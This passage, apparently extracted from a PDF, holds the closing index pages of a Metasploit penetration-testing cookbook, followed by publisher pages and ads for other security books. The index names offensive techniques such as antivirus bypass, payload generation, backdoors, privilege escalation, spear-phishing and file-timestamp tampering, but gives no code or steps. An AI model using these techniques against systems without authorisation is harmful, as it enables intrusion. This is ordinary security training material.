"text": "247\nown post exploitation module, building 185\npost exploitation modules 178\nscanner auxiliary modules 170\nmodules/exploits/windows/browser directory \n188\nmodule structure\nabout 192\nexploiting 192\nworking 193\nmsfconsole screen 75\nmsf > db_autopwn command 26\nmsfencode\nmultiple scanning, VirusTotal used 104\nquick multiple scanning, VirusTotal used 104\nusing, for client-side antivirus protection \nbypass 99-103\nworking 103\nmsf > help command 21\nmsf > hosts command 25\nmsf > ls command 20\nmsf > msfupdate command 21\nmsfpayload\nabout 96, 100\nbinary, generating 96-98\ndrawback 96\nshellcode, generating 96-98\nworking 98, 99\nmsfpayload -l command 96\nmsf > search exploit 55\nmsf > services command 26\nmsf > show exploits 55\nmsf > show payloads 55\nmsf > use exploit 55\nmsfvenom\nabout 195\nworking 196, 197\nmsfvenom -h command 195\nmsf > vulns command 26\nmulti-attack web method\nabout 238, 239\nworking 239\nmultiple communication channels\nsetting, with target 122-124\nworking 124\nmultiple targets\nhandling, tab switch used 219-221\nmysql_enum module 173\nN\nnamed pipe 120\nNamed Pipe Impersonation 120\nNessus\nabout 44\nusing, for vulnerability scanning 45, 46\nworking 46\nworking, in web browsers 47\nnetmask 129\nnetworking commands, meterpreter\nabout 128\ngateway 129\nnetmask 129\nsubnet 129\nSubnetwork 129\nusing 129, 130\nworking 131\nnew exploit module\nabout 202\nporting 202\ntesting 202\nworking 202\nNeXpose\nabout 47\nscanning 48\nscan results, importing 49\nNLST command 205\nNmap 34\nnote categories option 52\nNTLM (NT LAN Manager) 140\nO\nOleFlushClipboard() function 158\noperating system identification [-O] 38\nOracle DBMS_METADATA XML vulnerability \n175\nown post exploitation module\nabout 185\nbuilding 185-189\nworking 189\n"
},
{
"page_number": 263,
"text": "248\nP\npassive information gathering\nabout 28-31\nlevel 1 28-31\nlevel 2 31-34\nthird-party websites, using 31\nworking 31\npassive information gathering 1.0\nabout 28-31\nworking 31\npassive information gathering 2\nabout 31\nGoogle dorks technique 33\nSMTP header technique 33\ntechniques 32\nworking 34\nZone Transfer technique 32, 33\npayloads\nabout 8\ndisadvantage 116\npenetration testing\nperforming, on Windows 2003 Server 64-66\nperforming, on Windows XP SP2 machine \n57-61\npenetration testing lab\nantivirus protection, disabling 16, 17\nfirewall, disabling 16, 17\nsetting up, on single machine 15, 16\nvirtual box guest additions, installing 17\nworking 16\npenetration testing results\ndb_nmap command, storing 24\nstoring, database used 23, 24\npersistent connection\nsetting up, backdoors used 143-145\npivoting\nmeterpreter, using 146, 148\nport forwarding 131\nmeterpreter, using 148-151\nport scanning\nabout 34\nACK scan [-sA] 36\noperating system identification [-O] 38\nsteps 35, 36\nSYN scan [-sS] scan 35\nTCP connect [-sT] scan 35\nUDP scan [-sU] 36\nversion detection [-sV] 38\nworking 37\npost-exploitation\nArmitage, using 221-223\npost exploitation modules\nabout 178, 179\nworking 180\nprint API calls\nprint_error( 153\nprint_good( 152\nprint_line( 152\nprint_status( 152\nprivilege escalation \nabout 119-222\nworking 120-122\nprocess ID (PID) 134\nprocess.kill function 110\nprocess migration 119-121\nabout 119-121\nworking 120-122\npwd command 125\nR\nRailgun\nabout 155\ndefinitions 157\nDLL, adding 157-159\nfunction definitions, adding 157-159\nusing 155, 156\nworking 156\nread command 124\nRefresh button 223\nroute command 129, 130\nRTF stack buffer overflow\nin Microsoft Word 88, 89, 90\nin Microsoft Word, working 90\nMicrosoft Excel 2007 buffer overflow 91\nRuby Extension (Rex) library 9\nrun command 68\nrun scraper -h command 135\nS\nscanner auxiliary modules\nabout 170\npassword generating, crunch used 172, 173\n"
},
{
"page_number": 264,
"text": "249\nworking 170-172\nscanning\nauxiliary modules, exploring 39\nscraper meterpreter script\nabout 135\nusing 135, 136\nwinenum.rb, using 137\nworking 136, 137\nscreenshot 222\nsendmail server 234\nServices option 216\nSET\nabout 228\ngetting started 228\nworking 229\nset command 56, 58\nSET config file\nworking 233\nworking with 229-232\nsetdesktop command 134\nset USER commands 59\nshell, binding to target\nabout 61\ndcom exploit, working 63\nsteps 62, 63\ntarget, controlling 64\nshow options command 55, 58, 63, 171\nshow targets command 56, 59\nsimple FileZilla FTP fuzzer\nantiparser fuzzing framework 209\nworking 208\nwriting 206, 207\nSMTP header technique 33\nsocial engineering 227\nSocial Engineer Toolkit. See SET\nSpear-phishing attack vector\nabout 233\nattack vectors, analyzing 234, 235\npayload based content type 233\nweb-based content type 233\nworking 235\nSPF 31\nSQL injection\nabout 175, 176\nworking 177, 178\nSRVHOST option 205\nSRVPORT option 205\nStart | Programs | Metasploit framework | \nFramework Update 213\nSTARTSIZE option 205\nSTEPSIZE option 205\nstored results, database\nanalyzing 24-26\nstore_loot function 188\nsubnetwork/subnet 129\nsvn update command 229\nSYN scan [-sS] scan 35\nsystem commands, meterpreter\nanalyzing 117\nbackground 117\nexit 119\ngetpid 118\ngetuid 118\nps 118\nshell 118\nsysinfo 118\nworking 119\nT\ntab switch\nusing, for multiple targets handling 219-221\ntargets\nattacking 217- 219\ntarget service\nscanning, auxiliary modules used 42, 43\nworking 44\nTargets_exec() function 168\ntaskkill command 113\ntasklist command 112\nTCP connect [-sT] scan 35\nTEB 121\nThread Environment Block. See TEB\ntimestomp command\nusing, for file attribute modification 126-128\nworking 128\ntimestomp -h command 127\nTLV 122\nType-Length-Value. See TLV\nU\nUAC 153\nUDP scan [-sU] 36\nudp_sock_sendto function 208\n"
},
{
"page_number": 265,
"text": "250\nunsafe scripting misconfiguration \nvulnerability\nin Internet Explorer 79-84\nworking process 84\nuse command 67\nUser Account Control. See UAC\nUser Interface (UI) 9\nutil.printf() buffer overflow\nin Adobe Reader 91-94\nworking 95\nV\nversion detection [-sV] 38\nView | Console 220\nvirtual machine (VM) 15\nVirusTotal 104\nvulnerability\nabout 8\nfinding 217-219\nvulnerability scanning \nabout 44\nNessus, using 45, 46\nW\nWatch button 223\nWEBATTACK_SSL setting 232\nwebsite attack vectors\nabout 236-238\nworking 238\nWindows 7/Server 2008 R2 SMB client infi-\nnite loop\nabout 67\nsteps 67, 68\nworking 68\nWindows 2003 Server\nanalyzing 73-75\npenetration testing, performing 64-66\nworking 76\nWindows ASLR 90\nWindows DLL injection flaws 72\nWindows Firewall De-activator\nabout 159\nbuilding 160, 161\ncode, re-using 162\nworking 161, 162\nwriting, guidelines 160\nWindows XP SP2 machine\npenetration testing, performing 57-61\nwinenum.rb 137\nwrite_check variable 185\nwrite command 123, 124\nZ\nZone Transfer technique 32\n"
},
{
"page_number": 266,
"text": " \nThank you for buying \nMetasploit Penetration Testing Cookbook\nAbout Packt Publishing\nPackt, pronounced 'packed', published its first book \"Mastering phpMyAdmin for Effective MySQL \nManagement\" in April 2004 and subsequently continued to specialize in publishing highly focused \nbooks on specific technologies and solutions.\nOur books and publications share the experiences of your fellow IT professionals in adapting and \ncustomizing today's systems, applications, and frameworks. Our solution based books give you the \nknowledge and power to customize the software and technologies you're using to get the job done. \nPackt books are more specific and less general than the IT books you have seen in the past. Our \nunique business model allows us to bring you more focused information, giving you more of what \nyou need to know, and less of what you don't.\nPackt is a modern, yet unique publishing company, which focuses on producing quality, cutting-\nedge books for communities of developers, administrators, and newbies alike. For more \ninformation, please visit our website: www.packtpub.com.\nAbout Packt Open Source\nIn 2010, Packt launched two new brands, Packt Open Source and Packt Enterprise, in order to \ncontinue its focus on specialization. This book is part of the Packt Open Source brand, home \nto books published on software built around Open Source licences, and offering information to \nanybody from advanced developers to budding web designers. The Open Source brand also runs \nPackt's Open Source Royalty Scheme, by which Packt gives a royalty to each Open Source project \nabout whose software a book is sold.\nWriting for Packt\nWe welcome all inquiries from people who are interested in authoring. Book proposals should \nbe sent to author@packtpub.com. If your book idea is still at an early stage and you would like to \ndiscuss it first before writing a formal book proposal, contact us; one of our commissioning editors \nwill get in touch with you. \nWe're not just looking for published authors; if you have strong technical skills but no writing \nexperience, our experienced editors can help you develop a writing career, or simply get some \nadditional reward for your expertise.\n"
},
{
"page_number": 267,
"text": "Zabbix 1.8 Network \nMonitoring\nISBN: 978-1-847197-68-9 Paperback: 428 pages\nMonitor your network hardware, serves, and web \nperformance effectively and efficiently\n1.\t\nStart with the very basics of Zabbix, an enterprise-\nclass open source network monitoring solution, \nand move up to more advanced tasks later \n2.\t\nEfficiently manage your hosts, users, and \npermissions \n3.\t\nGet alerts and react to changes in monitored \nparameters by sending out e-mails, SMSs, or even \nexecute commands on remote machines \n4.\t\nIn-depth coverage for both beginners and \nadvanced users with plenty of practical, \nworking examples and clear explanations\nBackTrack 4: Assuring \nSecurity by Penetration \nTesting\nISBN: 978-1-84951-394-4 Paperback: 392 pages\nMaster the art penetration testing with BackTrack\n1.\t\nLearn the black-art of penetration testing with in-\ndepth coverage of BackTrack Linux distribution \n2.\t\nExplore the insights and importance of testing \nyour corporate network systems before hackers \nstrike it \n3.\t\nUnderstand the practical spectrum of security \ntools by their exemplary usage, configuration, \nand benefits \n \n \nPlease check www.PacktPub.com for information on our titles\n"
},
{
"page_number": 268,
"text": "BackTrack 5 Wireless \nPenetration Testing \nBeginner’s Guide\nISBN: 978-1-84951-558-0 Paperback: 220 pages\nMaster bleeding edge wireless testing techniques with \nBackTrack 5\n1.\t\nLearn Wireless Penetration Testing with the most \nrecent version of Backtrack \n2.\t\nThe first and only book that covers wireless testing \nwith BackTrack \n3.\t\nConcepts explained with step-by-step practical \nsessions and rich illustrations \n4.\t\nWritten by Vivek Ramachandran ¬– world \nrenowned security research and evangelist, and \ndiscoverer of the wireless “Caffe Latte Attack”\nAdvanced Penetration \nTesting for Highly-Secured \nEnvironments: The Ultimate \nSecurity Guide\nISBN: 978-1-84951-774-4 Paperback: 414 pages\nLearn to preform professional penetration testing for \nhighly-secured environments with intensive hands-on \nguide.\n1.\t\nLearn how to perform an efficient, organized, and \neffective penetration test from start to finish \n2.\t\nGain hands-on penetration testing experience by \nbuilding and testing a virtual lab environment that \nincludes commonly found security measures such \nas IDS and firewalls \n \nPlease check www.PacktPub.com for information on our titles\n"
},
{
"page_number": 269,
"text": ""
}
]
}